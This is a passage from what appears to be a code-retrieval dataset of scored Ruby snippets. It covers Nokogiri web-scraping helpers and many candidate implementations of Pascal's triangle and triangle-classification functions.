Nokogiri\n doc = Nokogiri::HTML(html_string)\n # Search the page for the relevant link tags\n movie_link_elements = doc.search('.lister-list .titleColumn a').first(5)\n # Get the href from each of them\n movie_link_elements.map do |element|\n \"http://www.imdb.com#{element.attr(\"href\")}\"\n end\nend", "title": "" }, { "docid": "0a02d630b5c950c626a125f908c080f7", "score": "0.55795765", "text": "def doc\n @doc || Nokogiri::HTML(last_response.body)\n end", "title": "" }, { "docid": "534ada452428b4eeb4bd88e4a0c877f9", "score": "0.55774516", "text": "def news(url)\n visit url\n\n # wait for content to be loaded\n first(\"article p\")\n \n document = Document.new\n document.source = name\n document.title = doc.css(\"h1\").text\n document.url = url\n document.html = html\n document.content = page.evaluate_script(\"HongKongNews.getInnerText('article')\")\n document.image_url = doc.search(\"//meta[@property='og:image']/@content\").first.text rescue nil\n document\n end", "title": "" }, { "docid": "26e8887feefe9f904148b491eed3c438", "score": "0.5576783", "text": "def title\n @title ||= doc.search('.moviename-big').xpath('text()').text.strip\n end", "title": "" }, { "docid": "3a9625aeb2834449e892f7178bcedcfc", "score": "0.55579764", "text": "def movies\n @movies ||= parse_movies\n end", "title": "" }, { "docid": "a3ca12058078d0a9c0c7ccf98a6c480b", "score": "0.5554511", "text": "def MovieSearch(search, query=\"Title\", format=\"XML\")\n DataLoadFromSite(GenerateURLMovieSearch(search, query=query, format=format))\n @xml_data\n end", "title": "" }, { "docid": "9152c4b4bbb4097b0f8f3aada7bd1375", "score": "0.5541766", "text": "def start_document\n @doc = Nokogiri::XML::Document.new\n end", "title": "" }, { "docid": "c0c8f35a6ab1fc533fae6f58fcad83ac", "score": "0.5531797", "text": "def movie\n @_movie ||= MovieSearcher.find_by_release_name(title, :options => {\n :details => true\n })\n end", "title": "" }, { "docid": "e899a9ea3f6ecc2d827abaf087863274", "score": "0.55290973", "text": "def trailer_url\n get_node(\"a[@href^='videoplayer/']\") do |trailer_link|\n \"#{Imdb::HTTP_PROTOCOL}://www.imdb.com/\" + trailer_link['href']\n end\n end", "title": "" }, { "docid": "d6ded25140a23d3af9907be2a15f5880", "score": "0.5501708", "text": "def films\n film_nodes.map do |node|\n parser = OdeonUk::Internal::FilmWithScreeningsParser.new node.to_s\n OdeonUk::Film.new parser.film_name\n end.uniq\n end", "title": "" }, { "docid": "9c08914f0360e57de2776017c8decd28", "score": "0.54998785", "text": "def _parse_artist doc\n doc.css('div#ctl00_ctl00_ctl00_MainContent_SubContent_SubContent_ArtistCredit/a').\n children.first.to_s.strip\n end", "title": "" }, { "docid": "ed6eaff3e2b756bfbea96b7254abf785", "score": "0.5492203", "text": "def nokogiriDoc(file)\n doc = Nokogiri::XML(IO.read(\"#{file}\"))\n \n #Nokogiri won't parse out the information of an XML file that uses namespaces unless you add xmlns, and vice versa.\n @xmlns = \"xmlns:\" if doc.xpath(\"msms_pipeline_analysis\").to_s.length == 0\n \n doc\n end", "title": "" }, { "docid": "66af5ccaf5ba0d8482349e69c2db7820", "score": "0.5490027", "text": "def doc(url)\n Nokogiri::HTML(open(url))\n end", "title": "" }, { "docid": "e9b7fc276972580d11dbafb24baca16e", "score": "0.5485686", "text": "def parse_nokogiri(item)\n {artist: item.css(\".cell1\").text,\n venue: item.css(\".cell2\").text,\n date: item.css(\".cell0\").text }\nend", "title": "" }, { "docid": "473b7ee2dc5e5338433f2db3cd290b81", "score": "0.5481397", "text": "def show\n\t\tfile = File.open @license.url\n\n\t\t@doc = CodeRay.scan file.read, :xml\n\t\t@doc = @doc.div(:css => :class)\n\t\t#xml = Document.new file\n\n\t\t#formatter = Formatters::Pretty.new(4)\n\t\t#@doc = String.new\n\t\t#formatter.write(xml, @doc)\n\tend", "title": "" }, { "docid": "52d060be59612fec595ca8da37fa52ed", "score": "0.54718024", "text": "def try_nokogiri_10\n # Get params\n genre = params['genre']\n \n # Urls\n if genre != nil\n # url = \"http://headlines.yahoo.co.jp/hl?c=soci&t=l&p=\"\n url = \"http://headlines.yahoo.co.jp/hl?c=#{genre}&t=l&p=\"\n else\n url = \"http://headlines.yahoo.co.jp/hl?c=soci&t=l&p=\"\n end\n \n # HTML docs\n docs = []\n \n # Thread array\n threads = []\n \n # Get docs\n # 2.times do |i|\n 5.times do |i|\n # Get docs\n threads << Thread.start(i, url) do\n # puts \"Thred #{i.to_s}: \" + urls[i] \n # docs[i] = Nokogiri::HTML(open(urls[i]))\n docs[i] = Nokogiri::HTML(open(url + (i + 1).to_s))\n end\n \n # Join\n threads.each do |t|\n t.join\n end\n end\n \n # Return\n return docs\n \n end", "title": "" }, { "docid": "139b70491a20e1a27f47eb854bd14692", "score": "0.54716927", "text": "def document\n @web_view.mainFrame.DOMDocument\n end", "title": "" }, { "docid": "139b70491a20e1a27f47eb854bd14692", "score": "0.54716927", "text": "def document\n @web_view.mainFrame.DOMDocument\n end", "title": "" }, { "docid": "3403236b78199711d1a33cd17152f0a1", "score": "0.54509974", "text": "def title\n attr(:title) do\n document.xpath(\"//*[@class='header']//*[@class='itemprop' and @itemprop='name']\").text.imdb_unescape_html\n end\n end", "title": "" }, { "docid": "00ba17083fe0c74132a6f563267a93d7", "score": "0.5450011", "text": "def get_movies(articles, r)\n goodnews = []\n articles.each do |article|\n title = article.title.gsub('\"', '\\\"')\n query = \"PREFIX ws: <http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#>\n SELECT ?x\n WHERE { ?x ws:hasTitle \\\"#{title}\\\" }\"\n results = SPARQL::Grammar.parse(query).execute(r)\n # If results.size == 0 do screen scraping\n if results.size > 0\n goodnews << {\"article\" => article, \"show\" => results.last}\n puts \"\\\"#{article.title}\\\" (from movie #{results.last[:x]})\"\n end\n end\n return goodnews\nend", "title": "" }, { "docid": "70d816410606aac21e3a06a872a60003", "score": "0.5436382", "text": "def doc\n @document = Nokogiri::HTML(@body)\n rescue Exception => e\n puts e.inspect\n puts e.backtrace\n end", "title": "" }, { "docid": "b3bcf5cca9ba25797f9edbe590bd7658", "score": "0.5435503", "text": "def doc\n @doc ||= Nokogiri::HTML(visit.body) if visit.body and visit.html? # rescue nil\n end", "title": "" }, { "docid": "a3d2926dc173e99ff609d65919e6a793", "score": "0.5433505", "text": "def doc\n @doc ||= Nokogiri::HTML.parse(formatted_html, nil, 'UTF-8')\n end", "title": "" }, { "docid": "4392c810377a8a4a68b4c8ee4ba004bb", "score": "0.54316324", "text": "def for_tvshow( path )\n xml = Nokogiri::XML( File.open(File.tvshow_nfo_path(path)) )\n xml = xml.xpath('tvshow')\n \n {\n :title => xml.xpath('title').text,\n :plot => xml.xpath('plot').text,\n :mpaa => xml.xpath('mpaa').text,\n :genre => xml.xpath('genre').text,\n :studio => xml.xpath('studio').text\n }\n end", "title": "" }, { "docid": "12d7b486eeed039dd5ac765d584533ff", "score": "0.5411757", "text": "def parse streams\n streams.each do |io|\n baseurl = \"http://www.dailyprincetonian.com\"\n\n doc = Nokogiri::HTML io, nil, enc\n doc.xpath(\"//div[@class='article_item']\").each do |idx|\n t = idx.xpath(\"h2/a\").children.text\n link = idx.xpath(\"h2/a\")[0].attributes['href'].value\n l = baseurl + link + \"print\"\n u = BH.date idx.xpath(\"h2\").children[1].text\n a = idx.xpath(\"div/span/a[1]\").children.text\n c = idx.xpath(\"div[@class='summary']\").text\n \n self << { 'title' => t, 'link' => l, 'updated' => u,\n 'author' => a, 'content' => c }\n end\n end\nend", "title": "" }, { "docid": "2aa381524c5f79386a6aa3dcb035d0f2", "score": "0.5406625", "text": "def convert_embeds(document)\n convert_embed_xpath_to_url(document, \"//embed[@src]\") do |matching_element|\n matching_element['src']\n end\n convert_embed_xpath_to_url(document, \"//param[@name='movie' or @name='src']\") do |matching_element|\n matching_element['value']\n end\n end", "title": "" }, { "docid": "92dc26a0d3a89aad6504d51a30c41731", "score": "0.5400563", "text": "def get_html_document\n Nokogiri::HTML(self.body)\n end", "title": "" }, { "docid": "93a29735d4baf137b7ec05d786ebc7ca", "score": "0.53994185", "text": "def document\n @document ||= begin\n within '.mainNav' do\n click_link(\"Facturación\")\n click_link(\"Consulta de facturas\")\n end\n click_link(\"Invoice history\")\n\n row = within \"table#recent_invoices_tab1\" do\n all(\"tr\").detect do |tr|\n tr.text =~ /-#{month}-#{@year}/\n end\n end\n\n url = within row do\n click_link \"PDF\"\n find('iframe')[:src]\n end\n\n Document.new(url)\n end\n end", "title": "" }, { "docid": "8a90b064b27534d754d8037a777f4499", "score": "0.53922415", "text": "def parse\n # parse the project and compute statistics\n xml = File.read(scrivx)\n doc = Nokogiri::Slop(xml)\n binder_items = doc.ScrivenerProject.Binder.BinderItem\n manu = binder_items.detect { |el| el.Title.content == 'Manuscript' }\n chapter_nodes = manu.Children.BinderItem.select { |el| el.Title.content.match('Chapter') }\n chapter_nodes.each do |chapter_node|\n title = chapter_node.Title.content\n id = chapter_node['ID']\n chapter = Chapter.new(id, title)\n add_chapter(chapter)\n node = chapter_node.Children.BinderItem(\"[Type='Text']\")\n if node.class == Nokogiri::XML::Element\n # only one node\n save_scene(node, chapter)\n else\n node.each do |scene|\n save_scene(scene, chapter)\n end\n end\n end\n compute_wc\n end", "title": "" }, { "docid": "3130b179904fc7fa02192052db7264e7", "score": "0.5391515", "text": "def news(url)\n visit url\n\n # wait for content to be loaded\n first(\"#contentCTN-right\")\n \n document = Document.new\n document.source = name\n document.title = doc.css(\"h1\").text\n document.url = url\n document.html = html\n document.content = page.evaluate_script(\"HongKongNews.getInnerText('#contentCTN-top')\") + \"\\n\" + page.evaluate_script(\"HongKongNews.getInnerText('#contentCTN-right')\")\n image = doc.search(\"#contentCTN .photo img\").first\n document.image_url = URI::join(url, image[\"src\"]).to_s if image\n document\n end", "title": "" } ]
13710afec025a3fe77bb57eaa50601f9
p pascals_triangle(5) p pascals_triangle(7)
[ { "docid": "7158c360a44f3c7f87b3d859d5a70d27", "score": "0.0", "text": "def prime?(num) \n return false if num < 2\n (2...num).none? { |factor| num % factor == 0}\nend", "title": "" } ]
[ { "docid": "50198c6bea47063fe3d247928b9963a8", "score": "0.7543202", "text": "def pascals_triangle(num)\r\n triangle = [[1]]\r\n\r\n\r\n\r\nend", "title": "" }, { "docid": "5215d2a4d8bca7ac58acf1b1872b6258", "score": "0.7517126", "text": "def pascals_triangle(num)\n triangle = [[1]]\n\n while triangle.length < num\n above = triangle.last\n next_level = [1]\n next_level += adjacent_sums(above)\n next_level << 1\n triangle << next_level\n end\n triangle\nend", "title": "" }, { "docid": "9c524570327bd870ad5172233bafe201", "score": "0.7423258", "text": "def pascals_triangle(num)\n triangle = [[1]]\n while triangle.length < num\n level_above = triangle.last\n next_level = [1]\n next_level += adjacent_sums(level_above)\n next_level << 1\n triangle << next_level\n end\n triangle\nend", "title": "" }, { "docid": "01c2e462ab5eec316f269d81ab7f9fb6", "score": "0.7372899", "text": "def pascals_triangle(n)\n triangle = []\n (1..n).each do |line|\n level = []\n num = 1\n (1..line).each do |idx|\n level << num\n num = (num * (line - idx) / idx)\n end\n triangle << level\n end\n triangle\nend", "title": "" }, { "docid": "43b046ebd8ebf460722c0fcc1b9983d5", "score": "0.7368873", "text": "def pascals_triangle(n)\n triangles = [[1]]\n while triangles.length < n\n triangles << next_line(triangles[-1])\n end\n triangles\nend", "title": "" }, { "docid": "141da8378c432bef6e364968d31ac6a4", "score": "0.7313741", "text": "def pascals_triangle(num)\n if num == 1\n return [[1]]\n elsif num == 2\n return [[1], [1,1]]\n end\n\n tri = [[1], [1,1]]\n\n until tri.length == num\n tri << lower_level(tri[-1])\n end\n tri\nend", "title": "" }, { "docid": "bd0bd298764f7b30a426b569dcd5070e", "score": "0.72861236", "text": "def pascals_triangle(n)\n triangle = [[1]]\n until triangle.length == n\n triangle << row(triangle[-1])\n end\n triangle\nend", "title": "" }, { "docid": "e1deb559ad855c7bb99e5feb33807bef", "score": "0.7277279", "text": "def triangle(num)\n num.times { |a| p (' ' * (num - a)) + ('*' * (a + 1)) }\nend", "title": "" }, { "docid": "8d498b466907d22dcf5d8e0ff70401b3", "score": "0.72730976", "text": "def pascals_triangle(num)\n ret_arr = [[1]]\n (num-1).times do #|idx|\n new_arr = [1]\n ((ret_arr[-1].length) -1).times do |j|\n new_arr << ret_arr[-1][j] + ret_arr[-1][j+1]\n end\n ret_arr.append(new_arr << 1)\n end\n ret_arr\nend", "title": "" }, { "docid": "165d2ce28dd0ca01c4f92bbc7541ec8f", "score": "0.7190766", "text": "def pascals_triangle(n)\n triangle = []\n triangle << [1]\n while triangle.length < n\n next_level = []\n current_level = Array.new(triangle.last) # create copy of last row\n current_level.push(0)\n current_level.unshift(0)\n\n iterator = 0\n\n while iterator < current_level.length-1\n\n next_level << current_level[iterator..iterator+1].sum\n iterator += 1\n end\n\n triangle << next_level\n end\n triangle\nend", "title": "" }, { "docid": "aa9c82d307c90912b3a287a1d8d95409", "score": "0.7143457", "text": "def triangle(n)\n count = 1\n loop do\n p (' ' * (n - count)) + ('*' * count)\n count += 1\n break if count > n\n end\nend", "title": "" }, { "docid": "f57ed0fceebd0af35c8bb67a6e916f84", "score": "0.70494795", "text": "def triangle(reps)\n (0...reps).each do |x|\n puts \"*\" * (2 ** x)\n end\nend", "title": "" }, { "docid": "e85d62cbe873736afd0d216929261fa2", "score": "0.7029033", "text": "def triangle(n)\n (n *(n + 1)) / 2\nend", "title": "" }, { "docid": "7f975edb98aa77ace93b124fff979d16", "score": "0.7020229", "text": "def triangle(a, b, c)\n sides = [a, b, c]\n\n # https://stackoverflow.com/a/11361502\n raise TriangleError if sides.min <= 0\n\n # my original answer\n #sides.each do |item|\n # if item <= 0\n # raise TriangleError\n # end\n #end\n\n # https://stackoverflow.com/a/11361502\n x, y, z = sides.sort\n raise TriangleError if x + y <= z\n\n # my original answer\n #if a + b <= c or b + c <= a or c + a <= b\n # raise TriangleError\n #end\n\n # https://stackoverflow.com/questions/4742692/a-more-elegant-solution-to-ruby-koans-triangle-rb\n case sides.uniq.size\n when 1 then :equilateral\n when 2 then :isosceles\n else :scalene\n end\n\n # my original answer\n #if a == b and b == c\n # :equilateral\n #elsif a == b or b == c or c == a\n # :isosceles\n #else\n # :scalene\n #end\nend", "title": "" }, { "docid": "0e041a6475afbf5d6a65bca1374bfae2", "score": "0.6985921", "text": "def triangle(num1, num2, num3)\n sides = [num1, num2, num3]\n\n sides.sort!\n\n return :invalid if sides[0..1].sum <= sides.last\n\n\n if sides.uniq.size == 1\n :equilateral\n elsif sides.uniq.size == 2\n :isosceles\n elsif sides.uniq.size == 3\n :scalene\n end\nend", "title": "" }, { "docid": "bf3728942a4160e1d8459eb6cffa49b6", "score": "0.69607097", "text": "def triangle(n1, n2, n3)\n sides = [n1, n2, n3].sort\n case\n when sides.any?{|side| side <= 0 }, sides[0..1].sum <= sides.last\n :invalid\n when sides.uniq.size == 1\n :equilateral\n when sides.uniq.size == 2\n :isosceles\n else\n :scalene\n end\nend", "title": "" }, { "docid": "c94603f26ccb334d235054e0c674c2c3", "score": "0.69297296", "text": "def triangle\n self * ( self + 1 ) / 2\n end", "title": "" }, { "docid": "e1592aca750ffe522f9cd3615112aeab", "score": "0.68836445", "text": "def triangle(a_side, b_side, c_side)\n # WRITE THIS CODE\n sum = a_side + b_side + c_side\n minimum = [a_side, b_side, c_side].min\n maximum = [a_side, b_side, c_side].max\n raise TriangleError unless minimum.positive? && (maximum < sum - maximum)\n\n return :equilateral if equilateral?(a_side, b_side, c_side)\n\n return :isosceles if isosceles?(a_side, b_side, c_side)\n\n :scalene\nend", "title": "" }, { "docid": "debae4783f80ae17b6b23aad4ec2ed9d", "score": "0.6855467", "text": "def triangle(first, second, third)\n sides_array = [first, second, third]\n max_value = sides_array.max\n sum_of_smaller_sides = sides_array.sum - max_value\n check_array = sides_array.uniq\n\n if sides_array.include?(0) || sum_of_smaller_sides < max_value\n return :invalid\n elsif check_array.size == 1\n return :equilateral\n elsif check_array.size == 2\n return :isosceles\n else\n return :scalene\n end\nend", "title": "" }, { "docid": "89349bded908936fa5a43e46b7423903", "score": "0.68490726", "text": "def triangle(n)\n space = \" \"\n star = \"*\"\n star_count = 1\n\n while n > 0 do\n p (space * (n-1)) + (star * star_count)\n n -= 1\n star_count += 1\n end\nend", "title": "" }, { "docid": "8885ef51c4ebfa2c7831d6740ea20d0f", "score": "0.6845599", "text": "def left_tri(tri)\n\nend", "title": "" }, { "docid": "4b6dac552a60f7fffb7329b661e1a9cd", "score": "0.6807064", "text": "def pascals_triangle(n)\n triangle = [[1]]\n\n (1...n).each do |lvl_idx| # levels of pyramid by array idx\n current_lvl = []\n prev_lvl = triangle[lvl_idx - 1] \n\n (0..lvl_idx).each do |pos| # elements of level\n left = (pos == 0) ? 0 : prev_lvl[pos - 1]\n right = (pos == lvl_idx) ? 0 : prev_lvl[pos]\n current_lvl[pos] = left + right\n end\n triangle << current_lvl\n end\n triangle\nend", "title": "" }, { "docid": "2ebd72aee34d14e611514b742191a770", "score": "0.68022823", "text": "def triangle(a, b, c)\n if a==0||b==0||c==0\n\traise TriangleError, \"one of the sides equals zero\"\n end\n if (a+b<=c)||(a+c<=b)||(b+c<=a)\n\traise TriangleError, \"2 any sides must be greater then 1\"\n end\n if a<0||b<0||c<0\n\traise TriangleError, \"negative sides\"\n end\n if (a==b) && (a==c) && (b==c)\n :equilateral\n\telsif (a==b)||(a==c)||(b==c)\n :isosceles\n\telse \n :scalene\nend\n\nend", "title": "" }, { "docid": "8b6f29e2e97fdb047532a287db8911ca", "score": "0.678903", "text": "def print_triangle(height)\nend", "title": "" }, { "docid": "5926619289c8e878a905d11daf1c602f", "score": "0.67864454", "text": "def find_triangle(counter)\n\t((counter*counter) + counter)/2\nend", "title": "" }, { "docid": "016ed91dc47fc3cc3fb80446e0e3040e", "score": "0.67807835", "text": "def triangle(n)\n 1.upto(n){ |i| p \"#{' ' * (n-i)}#{ '*' * i }\" }\nend", "title": "" }, { "docid": "e9de5d2c639c9d37ed74304bfcba7371", "score": "0.6773669", "text": "def triangle(a, b, c)\n #sort arguments by length\n triangle_array = [a, b, c].sort\n\n #initialize variables to sorted sides\n x = triangle_array[0]\n y = triangle_array[1]\n z = triangle_array[2]\n \n # rule out invalid triangles\n if x + y <= z || (x*y*z) == 0\n return :invalid\n end\n\n if x == y && x == z\n :equilateral\n elsif x == y || x == z || y == z\n :isosceles\n else\n :scalene\n end\nend", "title": "" }, { "docid": "c4e88430a20dbe3f76a2978646946f51", "score": "0.67564994", "text": "def triangle(number)\n 1.upto(number) do |num| \n puts (\" \" * num) + (\"*\" * number)\n number -= 1\n end\nend", "title": "" }, { "docid": "1bb0b98b114b65f49090e9713b402011", "score": "0.6748456", "text": "def triangle(side1, side2, side3)\n sides = [side1, side2, side3]\n return :invalid if sides.max > sides.sum / 2 || sides.min.zero?\n case sides.uniq.size\n when 1 then :equilateral\n when 2 then :isosceles\n else :scalene\n end\nend", "title": "" }, { "docid": "6a9fb1c03eb91c63be262d512c8ce9dc", "score": "0.67473423", "text": "def triangle(n)\n (1..n).each { |row| puts ' ' * (n - row) + '*' * row }\nend", "title": "" }, { "docid": "ce574ddd6636e3718a898d18fcbf56f7", "score": "0.67386013", "text": "def triangle(side1, side2, side3)\n if side1 + side2 > side3 && side2 + side3 > side1 && side1 + side3 > side2\n if side1 == side2 && side2 == side3\n return :equilateral\n elsif side1 == side2 || side2 == side3 || side1 == side3\n return :isosceles\n else\n return :scalene\n end\n else\n return :invalid\n end\nend", "title": "" }, { "docid": "2ee0d5abde9bc1a12fe629e8a1303802", "score": "0.6734651", "text": "def triangle_sum(n)\n (n * (n + 1))/2\nend", "title": "" }, { "docid": "a86d47f489abb2627dd41263411f7c47", "score": "0.6714504", "text": "def triangle(*sides)\n # could have used sides.includes?(0)\n return :invalid unless sides.none?(&:zero?)\n return :invalid if sides.max > sides.reduce(:+) - sides.max\n return :equilateral if sides.min == sides.max\n return :isosceles if sides.count { |x| x == sides.max } == 2\n :scalene\nend", "title": "" }, { "docid": "195fcdb6f3fa40fcf6f8e458c13df6b5", "score": "0.6714082", "text": "def isTriangle(a,b,c)\n a + b > c && b + c > a && a + c > b\nend", "title": "" }, { "docid": "d04e1ad328e9fac532dd22fadf137e5f", "score": "0.67105806", "text": "def isTriangle(a,b,c)\n a + b > c && b + c > a && a + c > b\nend", "title": "" }, { "docid": "e9d0a13bb881b66b6779ae8ccceafc2d", "score": "0.67102194", "text": "def triangle(side_1, side_2, side_3)\n ordered_array = [side_1, side_2, side_3].sort\n if !ordered_array.all? { |side| side > 0 }\n return :invalid\n end\n if (ordered_array[0] + ordered_array[1]) <= ordered_array[2]\n return :invalid\n end\n if (side_1 == side_2) && (side_2 == side_3)\n :equilateral\n elsif (side_1 == side_2) || (side_1 == side_3) || (side_2 == side_3)\n :isosceles\n else\n :scalene\n end\nend", "title": "" }, { "docid": "21e8add2c79404c82e765b4b218038ed", "score": "0.6705004", "text": "def checktriangle(a, b, c)\n if a + b <= c\n return false\n elsif b + c <= a\n return false\n elsif c + a <= b\n return false\n else\n return true\n end\nend", "title": "" }, { "docid": "5ef547e963171f1e0f2c25e990beb62a", "score": "0.66977656", "text": "def triangle(a, b, c)\n #\n # My first solution\n #\n # # Test that the triangle is valid\n # # No side can be <= 0\n # raise TriangleError if a <= 0 || b <= 0 || c <= 0\n # # Sum of any two sides must be > third side\n # raise TriangleError if a >= b+c || b >= a+c || c >= a+b\n\n # return :equilateral if a == b && b == c\n # return :isosceles if a == b || b == c || a == c\n # return :scalene\n #\n\n #\n # The Stack Overflow assisted version\n #\n\n # Sort the triangle sides in ascending order such that a is the smallest\n a, b, c = sides = [a, b, c].sort\n\n # If a <= 0\n raise TriangleError if a <= 0 || a + b <= c\n # Slightly easier to read version:\n # raise TriangleError unless a > 0 || a + b > c\n\n # Find out how many unique lengths there are. If 1, return :equilateral; if\n # 2, return :isoceles; if 3, return :scalene. Note the clever usage of the\n # negative indexing into the array to directly map the number of unique sides\n # to the type of triangle without needing to pad the array\n [:scalene, :isosceles, :equilateral][-sides.uniq.size]\nend", "title": "" }, { "docid": "3de88d54393cf245693f18f946c40c24", "score": "0.66951334", "text": "def print_triangle(rows)\n n = 1\n while n <= rows\n n += 1\n x = 1\n while x < n\t\n \tprint \"*\"\n \tx += 1\n end\n puts ' '\n end \nend", "title": "" }, { "docid": "e6f8d4b9a2fb8b74fd98dd49a8e879ec", "score": "0.6694199", "text": "def triangle(a, b, c)\n sides = [a, b, c]\n \n return :invalid if sides.include?(0) || sides.max >= sides.min(2).sum\n return :equilateral if sides.max == sides.min\n return :isosceles if sides.tally.value?(2)\n :scalene\nend", "title": "" }, { "docid": "561d549ba0fd16bfb23a7a67fd11d760", "score": "0.6689439", "text": "def triangle(a, b, c)\n tri = [a, b, c].sort\n\n if tri[0..1].sum <= tri[2] then :invalid\n elsif tri.any? { |side| side <= 0 } then :invalid\n elsif tri[0] == tri[1] && tri[1] == tri[2] then :equilateral\n elsif tri[0] != tri[1] && tri[0] != tri[2] && tri[1] != tri[2] then :scalene\n else :isosceles\n end\nend", "title": "" }, { "docid": "0739339590a8b4bedd16fb2df7a469ac", "score": "0.66757816", "text": "def triangle(side1, side2, side3)\n sides = [side1, side2, side3].sort\n\n if sides.count(0) > 0 || sides[0] + sides[1] <= sides[2]\n :invalid\n elsif sides.uniq.size == 1\n :equilateral\n elsif sides.uniq.size == 2\n :isosceles\n elsif sides.uniq.size == 3\n :scalene\n end\nend", "title": "" }, { "docid": "0cfdecca333b6d70ededcba9bde04b43", "score": "0.66662896", "text": "def valid_triangle? (num1,num2,num3)\n if num1 + num2 < num3\n true\n elsif num1 + num3 < num2\n true\n elsif num2 + num3 < num1\n true\n else\n false\n end\nend", "title": "" }, { "docid": "64cdad00ccf420736141f94271f34bb2", "score": "0.66633564", "text": "def triangle(a, b, c)\n sides = a, b, c\n case\n when sides.any? { |side| side.zero? }\n :invalid\n when sides.any? { |side| sides.reduce(:+) - side < side }\n :invalid\n when sides.all? { |side| side == sides.first }\n :equilateral\n when sides == sides.uniq\n :scalene\n else\n :isosceles\n end\nend", "title": "" }, { "docid": "bfee71bdd8193a621db55d55135f92d9", "score": "0.6660899", "text": "def is_triangle(a,b,c)\n if a + b <= c || a + c <= b || b + c <= a\n false\n else \n true\n end \nend", "title": "" }, { "docid": "ee0bfb21b98345d10ededcfa678c0d8e", "score": "0.6654488", "text": "def triangle(a, b, c)\r\n lengths = [a,b,c].sort\r\n return :invalid if lengths.any? { |side| side == 0 } || lengths[0..1].sum <= lengths.max\r\n if lengths.each_cons(2).any? { |pair| pair[0] == pair [1] }\r\n lengths.uniq.size == 1 ? :equilateral : :isosceles\r\n else\r\n :scalene\r\n end\r\nend", "title": "" }, { "docid": "2936a218749c84a9ce060b462be20715", "score": "0.6653426", "text": "def valid_triangle?(a, b, c)\n a + b > c && b + c > a && c + a > b\nend", "title": "" }, { "docid": "493f7a3fbdba62c957d6a3c08b414772", "score": "0.66525507", "text": "def valid_triangle?(a, b, c)\n # Your code goes here!\n if (c + b > a) && (a + c > b) && (a + b >c)\n true\n else\n false\n end\n \nend", "title": "" }, { "docid": "768c8755e3e6ec30832a43ad8198959a", "score": "0.6640893", "text": "def triangle(side1, side2, side3)\n arr = [side1, side2, side3].sort\n return :invalid if arr[0] + arr[1] <= arr[2]\n return :equilateral if arr[0] == arr[1] && arr[1] == arr[2]\n return :isosceles if arr.uniq.size == 2\n return :scalene if arr.uniq.size == 3\nend", "title": "" }, { "docid": "8b383eebe4900ce95410b4a35387e13e", "score": "0.66299194", "text": "def isTriangle(a,b,c)\n (a+b>c && a+c>b && c+b>a)? true : false\nend", "title": "" }, { "docid": "010d77d20652e844b54d0b3de5ffa832", "score": "0.66183287", "text": "def valid_triangle?(a, b, c)\n a + b > c && a + c > b && b + c > a\nend", "title": "" }, { "docid": "010d77d20652e844b54d0b3de5ffa832", "score": "0.66183287", "text": "def valid_triangle?(a, b, c)\n a + b > c && a + c > b && b + c > a\nend", "title": "" }, { "docid": "010d77d20652e844b54d0b3de5ffa832", "score": "0.66183287", "text": "def valid_triangle?(a, b, c)\n a + b > c && a + c > b && b + c > a\nend", "title": "" }, { "docid": "3eacf0cf56e4de0d107dea57e07a2d15", "score": "0.66174877", "text": "def triangleNumber(n)\n n * (n + 1) / 2\nend", "title": "" }, { "docid": "009123b2bde17996594b1a23ff7620eb", "score": "0.66119605", "text": "def valid_triangle?(a, b, c)\n if (a + b > c) && (a + c > b) && (b + c > a)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "9630bf3561afa9fcc79573e348cfd80f", "score": "0.6611068", "text": "def triangle_number(integer)\n\nend", "title": "" }, { "docid": "edccd3f34d78cd8d05cfc7d0ed78e9a4", "score": "0.6601899", "text": "def pascal(depth)\n triangle = []\n depth.times { |curr|\n layer = []\n (curr + 1).times { |n|\n if n == 0 || n == curr\n layer << 1\n else\n prev_layer = triangle.last\n layer << prev_layer[n - 1] + prev_layer[n]\n end\n }\n triangle << layer\n }\n\n triangle\nend", "title": "" }, { "docid": "3cb2ec7b4fa2f1781b4c48e3919de55c", "score": "0.66012657", "text": "def triangle(side1, side2, side3)\n side_array = [side1, side2, side3].sort\n if side_array.include?(0)\n :invalid\n elsif !((side1 + side2) > side3) || !((side2 + side3) > side1)\n :invalid\n elsif side1 == side2 && side1 == side3\n :equilateral\n elsif (side1 == side2 && side1 != side3) || side2 == side3 && side2 != side1 || side1 == side3 && side1 != side2\n :isosceles\n elsif side1 != side2 && side1 != side3 && side3 != side2\n :scalene\n end\nend", "title": "" }, { "docid": "348767b5841d448a640f7c910df2c54f", "score": "0.65931076", "text": "def triangle(n)\n stars = 1\n spaces = n-1\n n.times do |_|\n puts ( \" \" * spaces) + (\"*\" * stars)\n stars += 1\n spaces -= 1\n end\nend", "title": "" }, { "docid": "5506ce973303963d65c6053dfe96af9f", "score": "0.65794307", "text": "def triangle(a, b, c)\n arr = [a, b, c]\n puts \n if checkLengths(arr.dup) || arr.any? {|x| x < 1} \n raise TriangleError, 'That was wrong biatch'\n end\n uni = arr.uniq!\n return :scalene unless uni\n case uni.length \n when 1\n :equilateral\n when 2\n :isosceles\n end\nend", "title": "" }, { "docid": "0ef6cc634600d7cc529f035fcf5f0729", "score": "0.65662694", "text": "def ptest(t)\n\tcase t.test\n\twhen 1\n\t\treturn \"is an equilateral triangle\"\n\twhen 2\n\t\treturn \"is an isosceles triangle\"\n\twhen 3\n\t\treturn \"is a scalene triangle\"\n\twhen 4\n\t\treturn \"is a right triangle\"\n\twhen 5\n\t\treturn \"is not a triangle\"\n\telse\n\t\treturn \"error\"\n\tend\nend", "title": "" }, { "docid": "0d28d2dac7b2848c029d1863e985fbe2", "score": "0.65652645", "text": "def area_of_triangle(base, height)\n# change x to *\n # puts b x height / 2\n puts base * height / 2\nend", "title": "" }, { "docid": "cecf097aeb09a4b523322de0b5c02891", "score": "0.65637267", "text": "def triangle(n)\n\tstar = \"*\"\n\tspace = \" \"\n\tcounter = 0\n\tloop do\n\t\tcounter += 1\n\t\tputs (space * (n - counter)) + (star * (n - (n - counter)))\n\t\tbreak if counter == n\n\tend\nend", "title": "" }, { "docid": "1d1c7b6e7a6b455e7b179d859b23c4dd", "score": "0.6562891", "text": "def valid_triangle?(a, b, c)\n # Your code goes here!\na+b > c && a+c > b && b+c >a\nend", "title": "" }, { "docid": "801aefca4ae01940e8cf2ba0828f6559", "score": "0.6560449", "text": "def print_triangle(rows)\n 1.upto(rows) do |i|\n puts \"*\" * i\n end\nend", "title": "" }, { "docid": "5d2f193df7baecef7a4944e4c50b5e25", "score": "0.65515876", "text": "def triangle(a, b, c)\n sides = [a,b,c]\n validate_sides(sides)\n\n unique_side_lengths = sides.uniq.length\n\n case unique_side_lengths\n when 1\n :equilateral\n when 2\n 